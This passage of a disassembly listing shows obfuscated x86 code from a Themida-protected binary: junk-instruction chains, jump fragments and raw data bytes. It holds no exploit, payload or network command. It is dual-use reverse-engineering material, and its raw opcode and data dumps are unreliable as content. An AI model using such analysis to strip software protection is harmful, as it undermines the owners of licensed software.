0FFFFBFF9h ; --------------------------------------------------------------------------- loc_559984: ; CODE XREF: Themida_:005651B3j mov [esp], edx push ebx push 6954h jmp loc_55EF29 ; --------------------------------------------------------------------------- loc_559992: ; CODE XREF: Themida_:00554AB9j add bl, 0Dh mov al, bl mov ebx, [esp] add esp, 4 add bl, al mov ax, [esp] add esp, 2 add bl, 2Ch add bl, 66h movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 0C3h, 66h dd 68240C8Bh, 56B1h, 89241489h, 4EC81E2h, 89000000h, 0BD55240Ch dd 709547C9h, 0FFF301E9h, 14F750FFh, 81975824h, 0CB083DC7h dd 7BBF0558h, 0F50574E6h, 0E97F615Bh, 634Bh ; --------------------------------------------------------------------------- loc_5599F4: ; CODE XREF: Themida_:00564DEBj sub edi, 0FF90540h pop ebp and eax, edi push dword ptr [esp] pop edi jmp loc_55CACB ; --------------------------------------------------------------------------- dw 2E2Ch dd 0B6B35366h, 0A716E9h, 5AD10100h, 639DEB81h, 0CB290F27h dd 1468E9h db 0 ; --------------------------------------------------------------------------- loc_559A21: ; CODE XREF: Themida_:00559F79j mov [esp], ebx push dword ptr [esp] jmp loc_55B756 ; --------------------------------------------------------------------------- dd 55EFD158h, 0F7DFF5BDh, 5DEF01F8h, 0FFD8B3E9h, 81D1F7FFh dd 9A2088F1h, 0BC1816Bh, 314FC2D7h, 0C28159CEh, 0B5C22CDh dd 0EA81F201h, 0B5C22CDh, 2414875Eh, 0C6B685Ch, 23E90000h dd 31FFFFDEh, 14332414h, 6C33E924h, 0AA680000h, 8900007Dh dd 0EC832414h, 24248904h, 4240483h, 0FDBB535Ah, 817C1F53h dd 1F53F9F3h, 8ECBE97Ch, 0CD290000h, 81240C8Bh, 4C4h, 0CAF8E900h dd 8B66FFFFh, 54572404h, 4C7815Fh, 55000000h, 505BE9h db 0 ; --------------------------------------------------------------------------- loc_559ABD: ; CODE XREF: Themida_:00558E97j add ebx, edi add ebx, 6359355Ch jmp loc_558FD0 ; --------------------------------------------------------------------------- loc_559ACA: ; CODE XREF: Themida_:00557303j add ebp, 0FFFFFFFFh or ebp, 179E60A2h sub esp, 4 jmp loc_564730 ; --------------------------------------------------------------------------- db 66h dd 2404BB0Fh, 95BFE99Ch, 8B66FFFFh, 0EC812404h, 4, 0E9240C89h dd 2723h ; --------------------------------------------------------------------------- loc_559AF8: ; CODE XREF: Themida_:00568CF8j xor edx, 40B4110Bh xor edx, 526A6122h add ebp, edx jmp loc_55BD42 ; --------------------------------------------------------------------------- loc_559B0B: ; CODE XREF: Themida_:0055429Fj mov edi, 14FE4E71h jmp loc_55CBC2 ; --------------------------------------------------------------------------- db 0B8h, 0B1h, 4Ch dd 0BBE93E41h, 0E900000Ch, 0FFFF9581h, 8141D1F7h, 0E870C7C1h dd 0E9E1D17Dh, 0FFFFBDB6h, 0EA81DA29h, 25063D6Ch, 0F8F685Bh dd 1FE90000h, 0C100002Bh, 0C78105E7h, 0A550AE8h, 6958CF81h dd 0EF8144A6h, 0DCAE7D74h, 515FF801h, 5FE9E189h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559B67: ; CODE XREF: Themida_:0055E030j not dword ptr [esp] pop edi push ecx push esp pop ecx add ecx, 4 push edi mov edi, 4 sub ecx, edi mov edi, [esp] add esp, 4 xchg ecx, [esp] pop esp jmp loc_5622F1 ; --------------------------------------------------------------------------- db 80h dd 0F6E993C5h, 0FF00007Fh, 669D1C77h, 2414D259h, 0BAC2E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_559BA2: ; CODE XREF: Themida_:00564CBFj push 3CCFh mov [esp], esi jmp loc_55993E ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 24048B24h, 81E18951h, 4C1h, 4C18300h, 5C240C87h dd 5795E9h, 7BE9AD00h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559BD3: ; CODE XREF: Themida_:0056430Cj push edx jmp loc_556A93 ; --------------------------------------------------------------------------- db 0BFh, 19h, 42h dd 0FB2918EAh, 0C381585Fh, 0BD45638h, 0E924048Bh, 0FFFFB626h dd 0D067CC80h, 8ECC0E4h, 0EC80D4F6h, 3BBE9BBh, 0C2810000h dd 4, 4C281h, 14870000h, 0E9515C24h, 0B99h, 0C0FEC586h dd 0C9E9C586h, 5700008Ch, 0C781E789h, 4, 0B0ACE9h db 0 ; --------------------------------------------------------------------------- loc_559C31: ; CODE XREF: Themida_:0055B104j xchg ebp, [esp] mov esp, [esp] sub dl, 38h dec dl inc dl not dl push ecx mov cl, 90h neg cl not cl shl cl, 2 neg cl add cl, 91h or dl, cl pop ecx push cx mov cl, 0BDh add dl, cl jmp loc_562FC1 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 4C781h, 0EF830000h, 243C3304h, 33243C31h, 545C243Ch dd 8324048Fh, 0ADE904ECh, 810000B4h, 4C4h, 2EC8100h, 0E9000000h dd 494Ch ; --------------------------------------------------------------------------- loc_559C90: ; CODE XREF: Themida_:005659E1j sub esp, 4 mov [esp], ebp jmp loc_55B141 ; --------------------------------------------------------------------------- dw 2BAh dd 1FFEBC0h, 0E8015AD5h, 5D2434FFh, 592FE9h db 0 ; --------------------------------------------------------------------------- loc_559CB1: ; CODE XREF: Themida_:00561538j push eax mov eax, 2F110781h neg eax jmp loc_5595E0 ; --------------------------------------------------------------------------- loc_559CBE: ; CODE XREF: Themida_:005626D0j xor ebp, ebx jmp loc_558968 ; --------------------------------------------------------------------------- db 81h, 0E6h, 7Ch dd 0E9022812h, 0F7Bh, 866902BDh, 7DC38157h, 2973DC34h dd 9786E9EBh, 0D5870000h, 253C581h, 5668A419h, 89000046h dd 2FE9242Ch, 680000C7h, 43FFh, 0E9240C89h, 0D31Eh, 8EBC158h dd 6EF9BE56h, 0B8504121h, 69667F1Ah, 53FDE9h db 0 ; --------------------------------------------------------------------------- loc_559D19: ; CODE XREF: Themida_:0056047Bj add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 2A9Bh mov [esp], edx mov edx, 0D1E2479h jmp loc_55831C ; --------------------------------------------------------------------------- db 68h, 7Ch, 70h dd 0BEE90000h db 0D4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559D43: ; CODE XREF: Themida_:0055C5D6j add edi, 4 xchg edi, [esp] pop esp jmp loc_55BE25 ; --------------------------------------------------------------------------- db 88h dd 8B5A8734h, 0C481240Ch, 4, 8B2434FFh, 0E953241Ch, 0FFFF99CAh ; --------------------------------------------------------------------------- loc_559D68: ; CODE XREF: Themida_:0056347Aj add esp, 4 xor dh, 4Dh sub bl, dh push dword ptr [esp] jmp loc_553BE3 ; --------------------------------------------------------------------------- loc_559D7B: ; CODE XREF: Themida_:005687F7j add esp, 4 sub esp, 4 mov [esp], edi push ebx push 13AF088Dh pop ebx inc ebx jmp loc_55BA56 ; --------------------------------------------------------------------------- loc_559D94: ; CODE XREF: Themida_:0055CB21j push 1469h mov [esp], edi jmp loc_567A1E ; --------------------------------------------------------------------------- aLRs@ db '‹$$Ré@Ö',0 align 2 dw 8142h dd 0A308EACAh, 0C1EA817Fh, 0D10DF063h, 9CC281EAh, 0F7D875CFh dd 4EC83D2h, 1821E9h, 6EEC100h, 0B4FAB951h, 0C6812D3Bh dd 7160309Ah, 858EE81h, 0CE0179D9h, 0C90E952h, 0C6090000h dd 5B685358h, 0E96ABD66h, 0D083h, 53596858h, 3C890000h dd 59F8BF24h, 0C781408Eh, 0BF71A60Ch, 5A72BA52h, 0D0014FE8h dd 0E924148Bh, 9420h ; --------------------------------------------------------------------------- loc_559E18: ; CODE XREF: Themida_:00559774j pop ecx push esi mov esi, 663B3FC7h not esi push ebp jmp loc_55C0CB ; --------------------------------------------------------------------------- db 81h dd 4C4h, 245C0100h, 241C8B04h, 4C481h, 64E90000h, 8FFFFFD5h dd 248B2404h, 0BA5FE924h, 0EF81FFFFh, 7AB980B3h, 815FFB89h dd 0C82947CBh, 0C0BF575Ah, 91F7E24h, 0EB815FFBh, 7FFE6FD3h dd 1C8BDE01h, 4C48324h, 0F1668h, 24148900h, 2BAh, 91EE8100h dd 0E9637E1Ah, 0C21Ah, 5751C505h, 41DE0541h, 0F6E91A2Fh db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559E97: ; CODE XREF: Themida_:00568944j push edx mov edx, eax push edx pop edi pop edx mov eax, [esp] add esp, 4 jmp loc_55D278 ; --------------------------------------------------------------------------- aRDjhj4 db 'RºÂ%ºDJh¦4',0 align 4 dd 81243489h, 4ECh, 24148900h, 1C3A0FBAh, 3D76BE0Ch, 0D6296663h dd 38C6815Ah, 81D51E4Fh, 612E2EEAh, 1630E911h, 0BE560000h dd 74915BF4h, 348BF201h, 0DE95224h, 2DFFFFEFh, 0E352D150h dd 35BBED81h, 0C5010427h, 35BBC581h, 48B0427h, 0BB74E924h dd 0D5310000h, 6115E9h db 0 ; --------------------------------------------------------------------------- loc_559F11: ; CODE XREF: Themida_:00566ED0j and ebx, ebp pop ebp xor ebx, 742E4333h sub ebp, ebx mov ebx, [esp] jmp loc_563E7F ; --------------------------------------------------------------------------- loc_559F24: ; CODE XREF: Themida_:0056655Dj sub ebx, 23F44B5Eh add ebx, ebp add ebx, 23F44B5Eh mov ebp, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push dword ptr [esp] pop ecx push 2CFAh mov [esp], ecx jmp loc_55E0E8 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aSvz db '$évZ',0 align 2 loc_559F5E: ; CODE XREF: Themida_:00558B9Dj add esp, 4 not ecx add ecx, 7F7E208Ah sub ecx, 85FFFBE8h jmp loc_561B36 ; --------------------------------------------------------------------------- loc_559F74: ; CODE XREF: Themida_:loc_55D773j ; Themida_:00561B39j ... push 5992h jmp loc_559A21 ; --------------------------------------------------------------------------- loc_559F7E: ; CODE XREF: Themida_:0055A92Aj mov esp, [esp] imul cl movzx cx, ah push small 32AAh mov [esp], cx jmp loc_5541FE ; --------------------------------------------------------------------------- dd 5205EFC1h, 160D2868h, 2434FF52h, 0E289525Ah, 4C281h dd 0A8E90000h, 89FFFFE9h, 73BB241Ch, 43588A2Fh, 0DB12E9h dd 0EDEC8000h, 5258E328h, 4DEDE9h, 24248B00h, 0C8B60F66h dd 82AE956h, 2C890000h, 4BD24h, 6C010000h, 2C8B0424h, 0A5E4E924h dd 0EC830000h, 16DFE904h, 0F2810000h, 15C953E1h, 0E903E2C1h dd 8251h, 0D12BB05h, 2DF0012Dh, 2D0D12BBh, 3CB5E9h, 70EE8100h dd 0E9499211h, 3EDAh, 0E18849B4h, 66C80058h, 0E9240C8Bh dd 0FFFFDF50h, 20123025h, 91BA0579h, 0C6813B8Eh, 72226EA7h dd 0EE81C601h, 72226EA7h, 5EF30158h, 4EB81h, 28E90000h dd 5000098h, 4, 0E9240487h, 48C4h, 7368665Ch, 14896644h dd 30FCB224h, 0D8EFE9D4h, 66590000h, 0C281664Ah, 52660001h dd 241CF766h, 0F1E95A66h, 89FFFFA6h, 405E0h, 4050000h dd 87000000h, 815C2404h, 4C1h, 4C18100h, 87000000h, 335C240Ch dd 1C31241Ch, 241C3324h, 5622E95Ch, 0EAC10000h, 0E5F28103h dd 211E88FEh, 0C7815AD7h, 21053EF4h, 7A71E9h, 55056600h dd 0F801663Bh, 3B552D66h, 3B8A0566h, 7768665Fh, 1489666Eh dd 0BD665524h, 0F7664F6Fh, 0C58166D5h, 0F7660001h, 0C58166DDh dd 0A8686186h, 0E9000020h, 8FB3h, 0E9242C87h, 0FFFFA958h ; --------------------------------------------------------------------------- loc_55A10C: ; CODE XREF: Themida_:00553765j sub ecx, 333A6653h pop eax pop ebx sub esp, 4 jmp loc_5581F0 ; --------------------------------------------------------------------------- loc_55A11C: ; CODE XREF: Themida_:0056437Fj push ebx mov bl, 34h jmp loc_566368 ; --------------------------------------------------------------------------- loc_55A124: ; CODE XREF: Themida_:0055E028j and dl, 3 jmp loc_563A2E ; --------------------------------------------------------------------------- loc_55A12C: ; CODE XREF: Themida_:00553E84j add esp, 4 add esp, 4 jmp loc_55CDE8 ; --------------------------------------------------------------------------- dw 4BDh dd 81000000h, 0AD4FCDE9h, 274BE907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A14A: ; CODE XREF: Themida_:0055D138j pop edx add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp or ebx, ebx jnz loc_55E558 push ecx push esp pop ecx add ecx, 4 jmp loc_559347 ; --------------------------------------------------------------------------- loc_55A177: ; CODE XREF: Themida_:005576EAj push eax jmp loc_55B4EE ; --------------------------------------------------------------------------- loc_55A17D: ; CODE XREF: Themida_:005685B2j or edi, 762162F9h push ebx push ebp mov ebp, 5FE83A06h mov ebx, 5CEB57A2h xor ebx, ebp jmp loc_56336B ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 28B8C380h, 4AB450C3h, 0FFE04FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A1A9: ; CODE XREF: Themida_:0055CEFEj sub esp, 4 mov [esp], edi push 2ABE575Fh mov edi, [esp] push esi push esp pop esi push edi push 4 pop edi jmp loc_565BC2 ; --------------------------------------------------------------------------- dw 489h dd 35E95B24h, 53FFFFFBh, 0C380C4B3h, 0FFD828EFh, 0E95B2434h dd 0FFFFCF0Ch ; --------------------------------------------------------------------------- loc_55A1E0: ; CODE XREF: Themida_:00561B64j mov edi, 79223BCCh shr edi, 4 jmp loc_55D476 ; --------------------------------------------------------------------------- db 4, 19h, 66h aYfrhc db 'YfRhc$',0 align 4 dd offset dword_554B70+79h dd 24248900h, 4240481h, 8B000000h, 0C4812404h, 4, 14C568h dd 242C8900h, 45FCBF57h, 0E7C149A6h, 7F15E907h, 0BA520000h dd 5F3E3634h, 6EDAEB81h, 7BE93E51h, 0FFFFFFEFh, 815D2434h dd 4C4h, 0BBB95100h, 810E1F29h, 0D563CCC1h, 54B9E978h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A252: ; CODE XREF: Themida_:0055A27Aj mov eax, esp jmp loc_55F08A ; --------------------------------------------------------------------------- loc_55A259: ; CODE XREF: Themida_:005545B1j pop ecx add esi, eax push 1980h mov [esp], ebp mov ebp, 5BD67F59h add esi, ebp push dword ptr [esp] mov ebp, [esp] sub esp, 4 mov [esp], eax jmp loc_55A252 ; --------------------------------------------------------------------------- db 51h dd 0C181E189h, 4, 0B6BF5753h, 0BB416E3Fh, 416E3FBAh, 99E1E9h db 0 ; --------------------------------------------------------------------------- loc_55A299: ; CODE XREF: Themida_:00567001j add eax, edx mov edx, [esp] jmp loc_55C096 ; --------------------------------------------------------------------------- db 83h dd 0C14F04C4h, 0EF8104E7h, 0A7EE295Ch, 2EC2E9h, 14335800h dd 24143124h, 8B241433h, 0F1F62424h, 0FFCA50E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A2C9: ; CODE XREF: Themida_:00553EF3j sub ecx, 3DE41AC2h pop eax not ecx sub ecx, 251D0EFEh and ecx, 5763A82h jmp loc_55D79F ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 85DFE904h, 0BD550000h, 375D78E3h, 815DEA21h dd 0A51BE6EAh, 28BF5724h, 47677626h, 0CE45BA52h, 0D7013773h dd 8BFA295Ah, 0C483243Ch, 2307E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A31A: ; CODE XREF: Themida_:005561B3j pop esp add ecx, 150A0AB5h sub ecx, ebx sub esp, 4 mov [esp], eax mov eax, 150A0AB5h push edx jmp loc_55375B ; --------------------------------------------------------------------------- dd 4C581h, 0C5830000h, 242C8704h, 8947E95Ch, 0E8000000h dd 34FF5959h, 0C4815924h, 4, 8070B450h, 0E328E2C3h, 8BE2EB80h dd 0C4812404h, 4, 64B15150h, 3B7E9h, 6EBF5700h, 29330D2Bh dd 0C8015FF8h, 0D2B6E05h, 4335933h, 24043124h, 5C240433h dd 9C240401h, 0FF8D10E9h, 72D3BBFFh, 0D8E94B0Dh, 810000B6h dd 28573EF1h, 59CB8927h, 815FFB29h, 585292C7h, 81DF0140h dd 585292EFh, 0CAE95B40h, 49FFFFECh, 90BAE9h, 4B900h, 0CF290000h dd 243C8759h, 8588E9h, 3CE95D00h db 0DCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A3DB: ; CODE XREF: Themida_:0056850Fj add eax, 7AEE3B28h dec eax push eax not dword ptr [esp] pop eax sub eax, 0DEE7CC65h sub esi, 673367B6h add esi, eax jmp loc_55ED17 ; --------------------------------------------------------------------------- loc_55A3F8: ; CODE XREF: Themida_:00565800j push dword ptr [esp] mov ecx, [esp] jmp loc_554ED4 ; --------------------------------------------------------------------------- db 5Ch dd 8B24048Fh, 96E92424h, 0B0FFFF8Ch, 145268A2h, 14890000h dd 88C28824h, 24148BD7h, 0FFBABEE9h, 243F68FFh, 0C890000h dd 57E18924h, 0C781E789h, 4, 4B850h, 0C7290000h, 1030E958h dd 0E95F0000h, 0FFFFA19Eh, 81240C8Bh, 4C4h, 4C48100h, 56000000h dd 468h, 5451E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A466: ; CODE XREF: Themida_:005616A6j mov ebx, 0 sub ebx, ebp xchg ebx, ebp pop ebx push edi jmp loc_5675E5 ; --------------------------------------------------------------------------- loc_55A476: ; CODE XREF: Themida_:00554501j push 4BAh mov [esp], esi mov esi, 2113679Ch xor edi, esi mov esi, [esp] add esp, 4 sub edi, 0D14BDB21h push edi push edx mov edx, 756F2549h add [esp+4], edx pop edx pop esi jmp loc_55EA77 ; --------------------------------------------------------------------------- db 8Bh dd 0C6E92404h, 1FFFFC5h, 8104245Ch, 1404246Ch, 81429467h dd 0C504246Ch, 5B341F71h, 0FFD511E9h, 24048BFFh, 4C481h dd 0AF680000h, 0E9000049h, 0DF99h, 0FF8BC8E9h, 243431FFh dd 8B243433h, 0C83B2424h, 8BB7E99Ch, 4359FFFFh, 2848F381h dd 0D93187C9h, 0FFE3FBE9h, 5FFB01FFh, 0DDC2E95Dh, 0F001FFFFh dd 0D1D2F05h, 0DE95E53h db 0A4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A513: ; CODE XREF: Themida_:00566F91j pop eax add esp, 4 shl eax, 5 jmp loc_56219F ; --------------------------------------------------------------------------- db 55h dd 3D2127BDh, 0E9CD8157h, 817DAE19h, 0A91EB1F5h, 3EBE5642h dd 81775A69h, 126B51F6h, 0D6F74E55h, 6AFFC681h, 69E9207Eh dd 0BA00005Ah, 7F615BF5h, 0EFE9D029h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A557: ; CODE XREF: Themida_:0055746Fj sub ebp, 39690099h sub eax, ebp pop ebp add eax, 7ABD53BAh add eax, 14153B39h add dword ptr [eax], 1 pop eax loc_55A571: ; CODE XREF: Themida_:00568A38j push 5F43h jmp loc_560DCF ; --------------------------------------------------------------------------- db 58h dd 0A158E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A582: ; CODE XREF: Themida_:00555B2Ej mov esi, esp add esi, 4 push ebp jmp loc_557692 ; --------------------------------------------------------------------------- dd 8B24048Fh, 4892424h, 0E0895024h, 405h, 42D00h, 4870000h dd 8F545C24h, 0B0E92404h, 81000081h, 4E3AD5EFh, 3FC78122h dd 0E964D56Eh, 0FFFFAAD8h, 1A78EE81h, 5D5F50F7h, 0FFCFB1E9h dd 241487FFh, 0FFDB0FE9h, 0E914B5FFh, 0FFFFF638h ; --------------------------------------------------------------------------- loc_55A5E0: ; CODE XREF: Themida_:0055BE8Fj push ecx not dword ptr [esp] pop ecx xchg ecx, edx shl edx, 7 add edx, 51840D8Fh sub ebx, edx jmp loc_566E95 ; --------------------------------------------------------------------------- db 68h dd 310h, 0E9243489h, 0FFFFA37Ah ; --------------------------------------------------------------------------- loc_55A604: ; CODE XREF: Themida_:00554DC0j mov esp, [esp] push 14B3h mov [esp], ebp mov ebp, 1 and eax, ebp mov ebp, [esp] push edx push esp mov edx, [esp] push 74B6h mov [esp], ebp jmp loc_557D65 ; --------------------------------------------------------------------------- db 5 dd 4, 6CFFBF57h, 0C2E97AB0h, 81FFFFE9h, 48242FC7h, 485BE96Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A646: ; CODE XREF: Themida_:005553D0j mov ebp, esp add ebp, 4 push ecx mov ecx, 4 jmp loc_563529 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 51241C89h, 0E558B3B9h, 71D5BB63h, 0C38169DEh, 8B6784h dd 0FFA8B7E9h, 6970B9FFh, 80E90F72h, 0E90000DDh, 0FFFF8A21h dd 80DBF380h, 0E3C060E3h, 0B92CE908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A692: ; CODE XREF: Themida_:00554C22j jmp loc_5530A5 ; --------------------------------------------------------------------------- loc_55A697: ; CODE XREF: Themida_:005629D6j push edx jmp loc_564410 ; --------------------------------------------------------------------------- loc_55A69D: ; CODE XREF: Themida_:00560021j mov ebp, [esp] add esp, 4 xor ebp, 73CE7508h jmp loc_56530E ; --------------------------------------------------------------------------- dw 0C083h dd 3CAAE901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A6B6: ; CODE XREF: Themida_:00558FE0j push esp mov edi, [esp] add esp, 4 add edi, 4 jmp loc_55A854 ; --------------------------------------------------------------------------- aZhsu db 'Zh™u',0 align 2 dw 0C89h aTyhr db '$TYh|',0 align 4 dd 0E9240489h, 0FFFFF19Fh ; --------------------------------------------------------------------------- loc_55A6E0: ; CODE XREF: Themida_:0055C1AEj add esp, 4 jmp loc_55F94E ; --------------------------------------------------------------------------- dd 5D5059B8h, 76DB2522h, 0BE564D26h, 4CE04170h, 4E07EEC1h dd 924DEE81h, 0F009CB2Ch, 52C0E95Eh, 0EE810000h, 31094617h dd 772CEE81h, 8BE936D2h, 0B8FFFFB0h, 664863AAh, 0E958C329h dd 0FFFFC43Eh, 0E97FE980h, 0FFFF92E8h, 3621840Fh, 0EC810000h dd 4, 54243C89h, 0F1BA525Fh, 813DCE7Dh, 47678CAh, 48C2811Ah dd 5165CC49h, 0B9h, 0BA24E900h, 0C87FFFFh, 0E9D1F724h dd 2C62h, 0F7240C89h, 0C8B2414h, 4C48124h, 87000000h, 1479E9F1h dd 814B0000h, 2E7034E3h, 84C38104h, 15575ECh, 0F1815BD9h dd 0AE424587h, 5259CA29h, 0A1243481h, 5B2CB329h, 29A1F381h dd 148B2CB3h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5616FC ; --------------------------------------------------------------------------- db 0B9h, 38h, 0 dd 0C1810000h, 949377Eh, 2BAFE981h, 0BB535C9Ah, 67B15C6Bh dd 27A8E9h db 0 ; --------------------------------------------------------------------------- loc_55A7CD: ; CODE XREF: Themida_:00556139j mov ebp, 76D22B3Eh shr ebp, 4 jmp loc_5674BF ; --------------------------------------------------------------------------- dw 0FF05h dd 0E9FFFFFFh, 0FFFFA31Fh ; --------------------------------------------------------------------------- loc_55A7E4: ; CODE XREF: Themida_:0055C44Ej add eax, 0CDD4EADh xor eax, 4A9D5E5Dh jmp loc_565ADB ; --------------------------------------------------------------------------- loc_55A7F3: ; CODE XREF: Themida_:00561AAFj pop esp add esi, ebx push 6E5Dh jmp loc_561ED5 ; --------------------------------------------------------------------------- dd 0EC815E54h, 4, 4999E9h, 0FA2D5A00h, 8B26C060h, 0C4832434h dd 5655E904h, 53680000h, 8900002Ch, 0ECE9241Ch db 0A5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A82B: ; CODE XREF: Themida_:00555E40j mov al, 0EAh sub al, 34h neg al xor al, 62h mov bh, al pop eax add bh, 7Fh add al, bh mov ebx, [esp] add esp, 4 push 6E41h mov [esp], edx mov dh, 9Dh push ecx jmp loc_56446B ; --------------------------------------------------------------------------- loc_55A854: ; CODE XREF: Themida_:0055A6C3j add edi, 4 jmp loc_561B0F ; --------------------------------------------------------------------------- loc_55A85C: ; CODE XREF: Themida_:0056632Cj push esi mov esi, 46A31934h sub esp, 4 mov [esp], edx mov edx, 6ABB1DABh add esi, 2C1508A4h add esi, edx sub esi, 2C1508A4h pop edx add esi, 7961223Dh jmp loc_5604F7 ; --------------------------------------------------------------------------- db 5Ch dd 840FC909h, 15DBh, 5B8A68h, 4EC8100h, 89000000h, 4812424h dd 424h, 24048F00h, 8019E957h, 0CF010000h, 81240C8Bh, 4C4h dd 0E9F82100h, 4C28h ; --------------------------------------------------------------------------- loc_55A8C0: ; CODE XREF: Themida_:0056446Ej mov ch, 37h add ch, bl pop ebx inc ch add ch, 3 or ch, 0CEh xor ch, 0E8h or ch, 8Ch sub esp, 2 jmp loc_558EC5 ; --------------------------------------------------------------------------- loc_55A8DE: ; CODE XREF: Themida_:0055BC17j push dword ptr [esp] push dword ptr [esp] jmp loc_5608ED ; --------------------------------------------------------------------------- loc_55A8E9: ; CODE XREF: Themida_:0055423Cj xchg ecx, esi push edx mov edx, 3D2C0515h add esi, edx mov edx, [esp] add esp, 4 add ebx, esi pop esi push 0DFAh mov [esp], eax push ecx mov ecx, 2 mov eax, ecx pop ecx add ebx, 20DA0F2Eh add ebx, eax sub ebx, 20DA0F2Eh mov eax, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_559F7E ; --------------------------------------------------------------------------- db 83h dd 3C8904ECh, 68E78924h, 2FC9h, 0BB241C89h, 3D381250h dd 6EC2E9h db 0 ; --------------------------------------------------------------------------- loc_55A949: ; CODE XREF: Themida_:00553471j xchg esi, [esp] pop esp add edx, 4 sub esp, 4 mov [esp], edx jmp loc_566ED5 ; --------------------------------------------------------------------------- loc_55A961: ; CODE XREF: Themida_:0055E7ACj push 387h mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp loc_55A972: ; CODE XREF: Themida_:0055B290j ; Themida_:0055C17Dj push dword ptr [edi+24h] push dword ptr [esp] push dword ptr [esp] pop ecx push eax mov eax, esp add eax, 4 jmp loc_566961 ; --------------------------------------------------------------------------- loc_55A989: ; CODE XREF: Themida_:00558CA3j push ecx jmp loc_555BD2 ; --------------------------------------------------------------------------- loc_55A98F: ; CODE XREF: Themida_:00553CE7j sub ebx, 3526555Eh sub esp, 4 mov [esp], ebp push 87976AEh mov ebp, [esp] add esp, 4 jmp loc_5679F8 ; --------------------------------------------------------------------------- loc_55A9AB: ; CODE XREF: Themida_:00562856j sub edi, 8DC38C2h pop eax mov eax, 0B0B5A2FCh push esi mov esi, 1646797Eh jmp loc_55513B ; --------------------------------------------------------------------------- dw 30ACh dd 4EC81D8h, 89000000h, 0E189240Ch, 226968h, 24348900h dd 0FFD160E9h, 0BA525DFFh, 64857E64h, 5073F281h, 0C2816F05h dd 19DDDBC7h, 895AD501h, 0EA815DEBh, 65817E5Dh, 0CEE9DA01h dd 80000061h, 0E8306DEDh, 0FE740459h, 80352CC8h, 0C380AFC3h dd 8E22E9EBh, 0DE01FFFFh, 0FFCFEFE9h, 48F59FFh, 0EA4DE924h dd 0E681FFFFh, 27C85018h, 26BDE9h, 43BE5600h, 0E9154117h dd 9EC2h, 0E6BA52h, 62BB72A7h, 1F27173h, 0C3815AD3h, 6A84F0Ch dd 253AC381h, 53E92E54h, 890000B1h, 0E7E959CFh, 29FFFFE1h dd 33AA05D8h, 34FF4968h, 161AE924h, 58BA0000h, 179D908h dd 0EE815AD6h, 7160309Ah, 81240C8Bh, 4C4h, 0E9F00100h dd 0FFFF9C8Dh, 8B1C77FFh, 54522404h, 5A2434FFh, 4C481h dd 8E680000h, 0E900006Ch, 5135h, 32F068h, 242C8900h, 6852E589h dd 5BD3CA9h, 0E924148Bh, 0FFFFF7B7h, 815AD701h, 0BD73BECFh dd 0B5BB531Ah, 4373453Ah, 0D3F7D3F7h, 738AE381h, 0EB815D19h dd 0F643BA88h, 1C8BDF29h, 4C48324h, 2BBCBE56h, 0EEC128B6h dd 9989E902h, 0C89FFFFh, 4DC36824h, 4890000h, 72B6E924h dd 4BB0000h, 81000000h, 5A0252EAh, 0B6E95174h, 590000C0h dd 915CE9h db 0 ; --------------------------------------------------------------------------- loc_55AB25: ; CODE XREF: Themida_:0055D017j add esp, 4 add esp, 4 mov ebx, [esp] add esp, 4 push ebx xchg ebp, [esp] push ebp not dword ptr [esp] pop ebp xchg ebp, [esp] mov ebx, [esp] add esp, 4 xor ebp, ebx xor ebx, ebp jmp loc_5647A3 ; --------------------------------------------------------------------------- dd 0BA241489h, 7C93428Fh, 46C1F281h, 0D0291846h, 8324148Bh dd 0BA5204C4h, 1EBE614Eh, 35BB68h, 241C8900h, 67C6E952h dd 3C890000h, 502FE924h, 14300000h, 24143224h, 68241430h dd 2FECh, 0FFD1A0E9h, 4C481FFh, 8F000000h, 0F7552404h dd 875D2414h, 505A242Ch, 2F138AB8h, 0F7E0D112h, 3A9C25D8h dd 0D0F755EBh, 0B0FAE9h db 0 ; --------------------------------------------------------------------------- loc_55ABC5: ; CODE XREF: Themida_:00560C31j push edx mov edx, 3BC9663Ah or edx, 377C217Eh xor edx, 42C001B4h inc edx neg edx sub edx, 69573D93h mov ebp, edx pop edx jmp loc_567A03 ; --------------------------------------------------------------------------- loc_55ABE8: ; CODE XREF: Themida_:0055B303j push dword ptr [esp] mov edi, [esp] jmp loc_55ED28 ; --------------------------------------------------------------------------- loc_55ABF3: ; CODE XREF: Themida_:00553B7Bj mov [esp], ecx push esp jmp loc_56152F ; --------------------------------------------------------------------------- dd 0E904C483h, 52A8h, 0F6C8B450h, 1FEC80DCh, 0E903E4C0h dd 4009h, 8102EEC1h, 0FF33F4EEh, 5EF529DDh, 0C581FD01h dd 22152721h, 